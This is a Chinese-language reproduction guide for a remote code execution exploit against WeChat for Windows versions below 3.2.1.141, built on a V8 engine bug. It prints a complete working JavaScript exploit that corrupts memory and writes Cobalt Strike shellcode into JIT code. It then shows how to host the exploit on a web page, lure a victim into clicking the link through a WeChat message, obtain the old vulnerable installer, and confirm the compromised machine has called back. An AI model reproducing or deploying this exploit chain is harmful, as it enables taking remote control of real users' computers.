一、漏洞介紹
微信windows版是一款跨平台的通訊工具。微信windows版存在遠端代碼執行漏洞,攻擊者可能利 用該漏洞執行惡意代碼。Google Chrome使用的V8引擎存在一處安全問題,該問題可能會影響 Windows微信及使用該引擎的軟體。
二、影響版本
微信3.2.1.141以下所有版本
三、漏洞複現
1、使用Cobalt Strike生成shellcode
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Wechat遠端代碼執行漏洞複現(附舊版連結)
2、處理shellcode
将shellcode前後删除,删除雙引号
将\批量替換為 ,0 注意逗号是英文逗号
替換完之後的shellcode如下:
![]()
Wechat遠端代碼執行漏洞複現(附舊版連結)
shellcode放于js裡
ENABLE_LOG = true;
IN_WORKER = true;
// run calc and hang in a loop
var shellcode = [生成的shellcode];
function print(data) {
}
var not_optimised_out = 0;
var target_function = (function (value) {
if (value == 0xdecaf0) {
not_optimised_out += 1;
}
not_optimised_out += 1;
not_optimised_out |= 0xff;
not_optimised_out *= 12;
});
for (var i = 0; i < 0x10000; ++i) {
target_function(i);
}
var g_array;
var tDerivedNCount = 17 * 87481 - 8;
var tDerivedNDepth = 19 * 19;
function cb(flag) {
if (flag == true) {
return;
}
g_array = new Array(0);
g_array[0] = 0x1dbabe * 2;
return 'c01db33f';
}
function gc() {
for (var i = 0; i < 0x10000; ++i) {
new String();
}
}
function oobAccess() {
var this_ = this;
this.buffer = null;
this.buffer_view = null;
this.page_buffer = null;
this.page_view = null;
this.prevent_opt = [];
var kSlotOffset = 0x1f;
var kBackingStoreOffset = 0xf;
class LeakArrayBuffer extends ArrayBuffer {
constructor() {
super(0x1000);
this.slot = this;
}
}
this.page_buffer = new LeakArrayBuffer();
this.page_view = new DataView(this.page_buffer);
new RegExp({ toString: function () { return 'a' } });
cb(true);
class DerivedBase extends RegExp {
constructor() {
// var array = null;
super(
// at this point, the 4-byte allocation for the JSRegExp `this` object
// has just happened.
{
toString: cb
}, 'g'
// now the runtime JSRegExp constructor is called, corrupting the
// JSArray.
);
// this allocation will now directly follow the FixedArray allocation
// made for `this.data`, which is where `array.elements` points to.
this_.buffer = new ArrayBuffer(0x80);
g_array[8] = this_.page_buffer;
}
}
// try{
var derived_n = eval(`(function derived_n(i) {
if (i == 0) {
return DerivedBase;
}
class DerivedN extends derived_n(i-1) {
constructor() {
super();
return;
${"this.a=0;".repeat(tDerivedNCount)}
}
}
return DerivedN;
})`);
gc();
new (derived_n(tDerivedNDepth))();
this.buffer_view = new DataView(this.buffer);
this.leakPtr = function (obj) {
this.page_buffer.slot = obj;
return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt);
}
this.setPtr = function (addr) {
this.buffer_view.setUint32(kBackingStoreOffset, addr, true, ...this.prevent_opt);
}
this.read32 = function (addr) {
this.setPtr(addr);
return this.page_view.getUint32(0, true, ...this.prevent_opt);
}
this.write32 = function (addr, value) {
this.setPtr(addr);
this.page_view.setUint32(0, value, true, ...this.prevent_opt);
}
this.write8 = function (addr, value) {
this.setPtr(addr);
this.page_view.setUint8(0, value, ...this.prevent_opt);
}
this.setBytes = function (addr, content) {
for (var i = 0; i < content.length; i++) {
this.write8(addr + i, content[i]);
}
}
return this;
}
function trigger() {
var oob = oobAccess();
var func_ptr = oob.leakPtr(target_function);
print('[*] target_function at 0x' + func_ptr.toString(16));
var kCodeInsOffset = 0x1b;
var code_addr = oob.read32(func_ptr + kCodeInsOffset);
print('[*] code_addr at 0x' + code_addr.toString(16));
oob.setBytes(code_addr, shellcode);
target_function(0);
}
try{
print("start running");
trigger();
}catch(e){
print(e);
}
組合到html裡
<head>
<title>dudu</title>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8">
</head>
<h1>dudu</h1>
<script>
Js代碼修改好的直接複制到這塊代碼區
</script>
開啟web服務
python2 -m SimpleHTTPServer 8000
![]()
Wechat遠端代碼執行漏洞複現(附舊版連結)
微信發送引導點選
舊微信3.1x安裝包下載下傳: 連結:https://pan.baidu.com/s/1JLJcCZwx1WfQhfNcO2_Q5A 提取碼:sxfi
上線成功
![]()
Wechat遠端代碼執行漏洞複現(附舊版連結)